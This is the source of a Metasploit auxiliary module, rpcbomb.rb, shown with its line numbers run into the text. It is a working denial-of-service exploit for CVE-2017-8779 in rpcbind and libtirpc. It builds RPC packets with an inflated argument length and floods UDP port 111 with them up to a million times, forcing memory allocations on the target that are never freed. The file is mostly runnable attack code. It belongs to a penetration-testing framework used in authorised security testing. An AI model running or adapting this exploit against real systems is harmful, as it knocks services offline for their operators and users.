Path: blob/master/modules/auxiliary/dos/rpc/rpcbomb.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Msf::Auxiliary::Report8include Msf::Auxiliary::UDPScanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'RPC DoS targeting *nix rpcbind/libtirpc',15'Description' => %q{16This module exploits a vulnerability in certain versions of17rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger18large (and never freed) memory allocations for XDR strings on19the target.20},21'Author' => [22'guidovranken', # original code23'Pearce Barry <pearce_barry[at]rapid7.com>' # Metasploit module24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2017-8779' ],28[ 'BID', '98325' ],29[ 'URL', 'http://openwall.com/lists/oss-security/2017/05/03/12' ]30],31'Disclosure Date' => 'May 03 2017',32'Notes' => {33'Stability' => [CRASH_SERVICE_DOWN],34'SideEffects' => [],35'Reliability' => []36}37)38)3940register_options([41Opt::RPORT(111),42OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate', 1000000]),43OptInt.new('COUNT', [false, 'Number of intervals to loop', 1000000])44])45end4647def scan_host(ip)48pkt = [490, # xid500, # message type CALL512, # RPC version 252100000, # Program534, # Program version549, # Procedure550, # Credentials AUTH_NULL560, # Credentials length 0570, # Credentials AUTH_NULL580, # Credentials length 0590, # Program: 0600, # Ver614, # Proc624, # Argument length63datastore['ALLOCSIZE'] # Payload64].pack('N*')6566s = udp_socket(ip, datastore['RPORT'])67count = 068while count < datastore['COUNT']69begin70s.send(pkt, 0)71rescue ::Errno::ENOBUFS, ::Rex::ConnectionError, ::Errno::ECONNREFUSED72vprint_error("Host #{ip} unreachable")73break74end75count += 176end7778vprint_good("Completed #{count} loop(s) of allocating #{datastore['ALLOCSIZE']} bytes on host #{ip}:#{datastore['RPORT']}")79end80end818283